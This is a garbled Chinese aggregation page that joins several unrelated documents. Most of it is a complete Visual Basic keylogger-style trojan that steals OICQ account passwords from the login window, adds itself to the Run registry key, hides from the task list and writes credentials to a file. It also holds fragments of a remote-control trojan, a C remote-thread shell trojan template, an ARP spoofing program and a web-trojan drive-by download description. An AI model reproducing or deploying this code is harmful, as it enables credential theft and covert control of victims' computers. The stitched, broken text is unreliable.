木马源代码
木马源代码
在 VB 中使用窗口函数截取 OICQ 帐号密码
武汉艾军
摘要本文简单介绍如何采用 Visual Basic 语言,利用窗口函数截取 OICQ 帐号密码,并以此说明 OICQ 存在安全隐串。
关键字密码,窗口函数,即时监视
一、引言
OICQ 从无到有,现在可以说中国的每一个网吧都装有 OICQ,每一个上过网的人都用过 OICQ,那么 OICQ 的加密功能倒底怎么样呢, OICQ 版本从低到高,其加密功能也越来越强,现在破解OICQ 密码的方法大致有:穷举法、直接读取密码文件两种。
先说穷举法,对于这种方法 OICQ 的各个版本,可以说都没有任何的防范的方法,也许他们认为这种破解方法不伤大雅,只要用户在使用 OICQ 时,把密码设长些就可以。现在像用穷举法进行OICQ 密码破解的软件已非常多了,所以破解的原理也就不多说了。
再说直接读取密码文件,现在 OICQ 的加密越来越强,要用这种方法可以花上不少的功夫,而且在网吧上网的人,都有离开时,删除自己 OICQ 号目录的习惯,因此有时这种方法根本无能为力。最后要说的,就是即时监视法,也就是本文章要介绍的,通过窗口函数取得密码的方法(适用任何版本的 OICQ)。
二、设计思路
我们知道 OICQ 的密码框并没有进行特别的处理,也就是说用可以通过 SendMessage 发送
WM_GETTEXT 取得密码框中的值,
我们可以利用这一点来完成密码的截取,具体请看下面:
使用 Timer 控件,监视 OICQ。
用遍查窗口的方法(EnumWindows),
取得所有的窗口标题(GetWindowText),
判断其中是否为"OICQ用户登录"的标题,
取得 OICQ 登录窗口的子窗口(窗口上的控件)
的类名(GetClassName),
然后通过 ComboBox、Edit 取得用户名和密码
(通过 SendMessage 发送 WM_GETTEXT 取得值)。
由于不能判断外部按键事件的发生,只有通过不断的取得密码值,
具体方法如下:
首先取得用户名的值,
然后不停的取密码的值,
再判断窗口的标题是否为用户名,如果为用户名,
则最后一次密码的值就是真正的密码,到此程序完成。
三、程序编制(完整的程序代码和注释)
(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lp Name As String) As Long '创建一个新的文件映射对象
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '
关闭一个内核对象
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&
建立判断程序是否多启动的过程
Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES
sa.bInheritHandle = 1
sa.lpSecurityDescriptor = 0
sa.nLength = Len(sa)
ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
If (https://www.360docs.net/doc/eb14676283.html,stDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出
CloseHandle ynRun '退出程序前关闭内存映射文件
End
End If
End Sub
(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
建立使程序自启动的过程
Sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub
(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1 '隐藏
建立实现程序自身在关闭程序对话框中的隐藏的过程
Sub HideMyWin()
RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
End Sub
(4)即时监视是否运行了 OICQ
加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。
Private Sub Timer1_Timer()
EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
End Sub
声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中
Option Explicit
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄
Const GW_CHILD = 5 '寻找源窗口的第一个子窗口
Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Dim buf As String
Dim nameall, name, passwordall, password As String
Dim i As Integer
Dim title, titleall, filepath As String
Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long
filepath = App.Path & "\0.txt" '0.txt 为保存帐号、密码的文件
If Dir(filepath) = "" Then
title = ""
titleall = ""
End If
length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length) '取得窗口的标题
If InStr(title, "OICQ用户登录") Then '判断是否为 OICQ 窗口
Call GetZiWin(app_hwnd) '调用(5),取得 OICQ 窗口中的帐号、密码框的类名
End If
If title <> "" Then
If InStr(titleall, title) Then
EnumProc = 1
Else
titleall = titleall + title 'title 是指取得的窗口标题
If name <> "" Then '取得的帐号
If InStr(title, name) Then SaveFile '保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
End If
End If
End If
EnumProc = 1
End Function
(5)取得 OICQ 窗口中的用户名、密码框的类名
自定义取得子窗口类名的函数,写在 Module1.bas 文件中
我们知道 OICQ 主窗口的用户名的类名是 ComboBox,密码框的类名是 Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。
Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
'取得类名
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '进行判断
GetZiWin = GetWinText(window_hwnd) '调用(6),取得它们的值
Exit Function
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄 Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function
(6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值
自定义取得子窗口的值的函数,写在 Module1.bas 文件中
Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String
'通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit Function
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
GetWinText = Left$(txt, txtlen)
If buf = "ComboBox" Then
name = GetWinText
If InStr(nameall, name) Then
i = 0
Else
nameall = nameall + name
i = i + 1
End If
Else
password = GetWinText
If InStr(passwordall, password) Then
i = 0
Else
passwordall = passwordall + password
i = i + 1
End If
End If
End Function
(7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。
自定义保存信息的过程,写在 Module1.bas 文件中
Sub SaveFile()
Dim file_num As Integer
Dim allstr As String
allstr = name & Space(5) & password & Space(5) & Now '保存帐号、密码、启动的时间
file_num = FreeFile
If Dir(filepath) = "" Then
Open filepath For Output As #file_num
Else
Open filepath For Append As #file_num
End If
Print #file_num, allstr
Close #file_num
End Sub
(8)到些为此程序全部完成,大家可把它编译为 KillOicq.exe 试一试。
四、程序补充:
(1)我这里用的是遍查窗口的方式,取得窗口标题,大家也可用其他的窗口函数试试,我想应该会更好。
(2)在程序编制(4)中,顺利取得帐号、密码的判断,希望大家多看几遍,多试试,这一部分的代码我感觉没有写好,希望大家能够正确理解。
(5)由于使用的是监视法,因此比较耗系统资源,这样在配置较低的机器上,容易被别人发现,大家可对程序代码进行优化,使它占用的系统资源少点。
五、程序说明:
使用此软件后,在每次系统启动时该软件都会运行,监视 OICQ,当你打开 OICQ ,并输入密码,则该软件在软件所在目录记录里记下你的 OICQ 帐号和密码,并保存在 0.txt 文件里,你只要双击 0.txt 文件就能看到帐号、密码。
六、补充说明
本程序在 VB5.0、Win98 环境下运行正常,作者通过此程序并不是让用户窃取别
认识木马与“病毒
“木马”的工作原理 由于很多新手对安全问题了解不多,所以并不知道自己的计算机中了“木马”该怎么样清除。虽然现在市面上有很多新版杀毒软件都可以自动清除“木马”,但它们并不能防范新出现的“木马”程序,因此最关键的还是要知道“木马”的工作原理,这样就会很容易发现“木马”。相信你看了这篇文章之后,就会成为一名查杀“木马”的高手了。 网络安全技术 木马查杀 网络安全知识 黑客软件 网络安全培训 黑客技术 “木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、 ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈“木马”是怎样自动加载的。 网络安全|木马清除|电脑病毒|黑客技术|黑客软件电+脑*维+修-知.识_网(w_ww*dnw_xzs*co_m) DLL木马 要了解DLL木马,就必须知道这个“DLL”是什么意思,所以,让我们追溯到几年前,DOS系统大行其道的日子里。在那时候,写程序是一件繁琐的事情,因为每个程序的代码都是独立的,有时候为了实现一个功能,就要为此写很多代码,后来随着编程技术发展,程序员们把很多常用的代码集合(通用代码)放进一个独立的文件里,并把这个文件称为“库”(Library),在写程序的时候,把这个库文件加入编译器,………DLL木马就是把一个实现了木马功能的代码,加上一些特殊代码写成DLL文件,导出相关的API,在别人看来,这只是一个普通的DLL,但是这个DLL却携带了完整的木马功能,这就是DLL木马的概念。也许有人会问,既然同样的代码就可以实现木马功能,那么直接做程序就可以,为什么还要多此一举写成DLL呢?这是为了隐藏,因为DLL运行时是直接挂在调用它的程序的进程里的,并不会另外产生进程,所以相对于传统EXE木马来说,它很难被查到。电+脑*维+修-知.识_网 .网络安全|木马清除|电脑病毒|黑客技术|黑客软件(w_ww*dnw_xzs*co_m) 病毒名区别和标识病毒 很多时候大家已经用杀毒软件查出了自己的机子中了例如 Backdoor.RmtBomb.12 、Trojan.Win32.SendIP.15 等等这些一串英文还带数字的病毒名,这时有些人就懵了,那么长一串的名字,我怎么知道是什么病毒啊?
木马编程系列
木马编程系列 今天我为大家讲如何用VB编写"木马"程序 木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给 攻击对象用的,千万不可用错了----给自己种马的人 0 客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序cockhorseserver,另一个为 客户端程序cockhorseclient. 先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来 输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化. 代码我写下: Private Sub Command1_Click() '调用connect方法,初始化连接. tcpclient.RemoteHost = ipinput.Text tcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001 tcpclient.Connect '和指定的IP相对的计算机相连接 cmdconnect.Enabled = False End Sub (在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作. Private Sub tcpclient_dataArrival(ByVal bytestotal As Long) Dim strdata As String tcpclient.GetData strdata If strdata = "test connect" Then tcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" + -tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " + tcpclient.remotehostname If InStr(Trim(strdata), "closeOK?") > 0 Then tcpclient.Close End If End If txtoutput.Text = txtouput.Text + vbNewLine + tcpclient.RemoteHostIP + ": " + strdata End Sub
木马攻击常用名词解释
目录 1. IPS IDS IRS (2) 2.攻击 (3) 3. 80端口 (3) 4. 404 (4) 5. Application Firewall (4) 6. SHELL (5) 8. ISP/ICP (8) 9. IIS (9) 10.SQL注入 (9) 11.XSS攻击 (10) 12.DDOS攻击 (11) .
1.IPS IDS IRS 入侵预防系统(IPS: Intrusion Prevention System)是电脑网路安全设施,是对防病毒软体(Antivirus Programs)和防火墙(Packet Filter, Application Gatew ay)的补充。入侵预防系统(Intrusion-prevention system)是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。 在ISO/OSI网路层次模型(见OSI模型) 中,防火墙主要在第二到第四层起作用,它的作用在第四到第七层一般很微弱。而除病毒软体主要在第五到第七层起作用。为了弥补防火墙和除病毒软体二者在第四到第五层之间留下的空档,几年前,工业界已经有入侵侦查系统(IDS: Intrusion Detection System)投入使用。入侵侦查系统在发现异常情况后及时向网路安全管理人员或防火墙系统发出警报。可惜这时灾害往往已经形成。虽然,亡羊补牢,尤未为晚,但是,防卫机制最好应该是在危害形成之前先期起作用。随后应运而生的入侵反应系统(IRS: Intrusion Response Systems) 作为对入侵侦查系统的补充能够在发现入侵时,迅速作出反应,并自动采取阻止措施。而入侵预防系统则作为二者的进一步发展,汲取了二者的长处。 入侵预防系统类型 投入使用的入侵预防系统按其用途进一步可以划分为 (HIPS: Hostbased Intrusion Prevension System) 单机入侵预防系统和 (NIPS: Network Intrusion Prevension System)网路入侵预防系统 网路入侵预防系统作为网路之间或网路组成部分之间的独立的硬体设备,切断交通,对过往包裹进行深层检查,然后确定是否放行。网路入侵预防系统藉助病毒特征和协议异常,阻止有害代码传播。有一些网路入侵预防系统还能够跟踪和标记对可疑代码的回答,然后,看谁使用这些回答信息而请求连接,这样就能更好地确认发生了入侵事件。 根据有害代码通常潜伏于正常程序代码中间、伺机运行的特点,单机入侵预防系统监视正常程序,比如Internet Explorer,Outlook,等等,在它们(确切地说,其实是它们所夹带的有害代码)向作业系统发出请求指令,改写系统文件,建立对外连接时,进行有效阻止,从而保护网路中重要的单个机器设备,如伺服器、路由器、防火墙等等。这时,它不需要求助于已知病毒特征和事先设定的安全规则。总地来说,单机入侵预防系统能使大部分钻空子行为无法得逞。我们知道,入侵是指有害代码首先到达目的地,然后干坏事。然而,即使它侥幸突破防火墙等各种防线,得以到达目的地,但是由于有了入侵预防系统,有害代码最终还是无法起到它要起的作用,不能达到它要达到的目的。
c语言程序代码
1.要求在屏幕上输出下一行信息。 This is a c program. 程序: #include
#include
#include
C语言实现ARP攻击(附源码)
信息安全原理 ——ARP攻击班级:07计算机1班姓名:胡益铭学号:E07620112 ARP原理: ARP,即地址解析协议,实现通过IP地址得知其物理地址。在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。这样就存在把IP 地址变换成物理地址的地址转换问题。以以太网环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址。这就需要在互连层有一组服务将IP地址转换为相应物理地址,这组协议就是ARP协议。 ARP数据报格式如下: 什么是ARP欺骗: 其实,此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。ARP欺骗攻击已经成了破坏网吧经营的罪魁祸首,是网吧老板和网管员的心腹大患。从影响网络连接通畅的方式来看,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。 本程序基于C语言,利用winpacp实现往局域网内发自定义的包,以达到ARP欺骗的目的。 首先从https://www.360docs.net/doc/eb14676283.html,/archive/下载4.0beta1-WpdPack和4.0beta1-WinPcap.exe,版本很多,不过最新版本需要64位的系统,本人32位系统用不了。 直接点击4.0beta1-WinPcap.exe安装,然后在C:\Program Files\WinPcap下打开rpcapd.exe 服务。 然后在VC中,Tools→Options→Directories下配置include和library,将4.0beta1-WpdPack 中的include和library库包含进去,本人把4.0beta1-WpdPack放在D盘根目录下,结果如下:
C语言源代码
剪刀石头布源代码 #include
简单计算器 #include
加油站加油问题 #include
病毒代码大全
制造木马病毒代码大全2008-06-08 19:46 制造木马病毒代码大全一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可 以.....#include #pragma comment(lib,"ws2_32.lib") #include #include #pragma comment(lib,"Shlwapi.lib") #include #include #include //参数结构; typedef struct _RemotePara { DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwWSAStartup; DWORD dwSocket; DWORD dwhtons; DWORD dwbind; DWORD dwlisten; DWORD dwaccept; DWORD dwsend; DWORD dwrecv; DWORD dwclosesocket; DWORD dwCreateProcessA; DWORD dwPeekNamedPipe; DWORD dwWriteFile; DWORD dwReadFile; DWORD dwCloseHandle; DWORD dwCreatePipe; DWORD dwTerminateProcess; DWORD dwMessageBox; char strMessageBox[12]; char winsockDll[16]; char cmd[10]; char Buff[4096]; char telnetmsg[60]; }RemotePara; // 提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 根据进程名称得到进程ID DWORD GetPidByName(char *szName); // 远程线程执行 体DWORD __stdcall ThreadProc(RemotePara *Para)
C语言程序设计 入门源代码代码集合
#include <> void print_star(void) { printf("*****************\n"); } void print_welcome(void) { printf("C language,welcome!\n"); } void main() { print_star(); print_welcome(); print_star(); getchar(); } 演示2 #include "" int sum(int i,int j) { return(i + j); } void main() { int n1,n2; printf("input 2 numbers:\n"); scanf("%d%d",&n1,&n2); printf("the sum = %d\n",sum(n1,n2)); getchar(); } 演示3 #include "" int maxnum(int,int,int); main() { int a,b,c; printf("Please enter 3 numbers:\n"); scanf("%d,%d,%d",&a,&b,&c); printf("Maxnum is %d\n",maxnum(a,b,c)); return 0;
} int maxnum(int x,int y,int z) { int max=x; if(y>max) max = y; if(z>max) max = z; return max; } 演示4 #include <> int s1(int n) { int j,s; s=0; for(j=1;j<=n;j++) s=s+j; return s; } int sum(int n) { int i,s=0; for(i=1;i<=n;i++) s=s+s1(i); return s; } void main() { int n; printf("n:"); scanf("%d",&n); printf("s=%d\n",sum(n)); } 演示5 #include <>
C语言程序设计-入门源代码代码集合
演示1 #include
return 0; } int maxnum(int x,int y,int z) { int max=x; if(y>max) max = y; if(z>max) max = z; return max; } 演示4 #include
网页木马制作全过程(详细)
如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页,经检查,我确实中了灰鸽子。怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。 有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示:代码说明 a. 代码中“src”的属性为程序的网络地址,本例中 “https://www.360docs.net/doc/eb14676283.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去,但免费空间出于安全的考虑,多数不允许上传exe文件,黑客可能变通一下把扩展名exe改为bat或com,这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的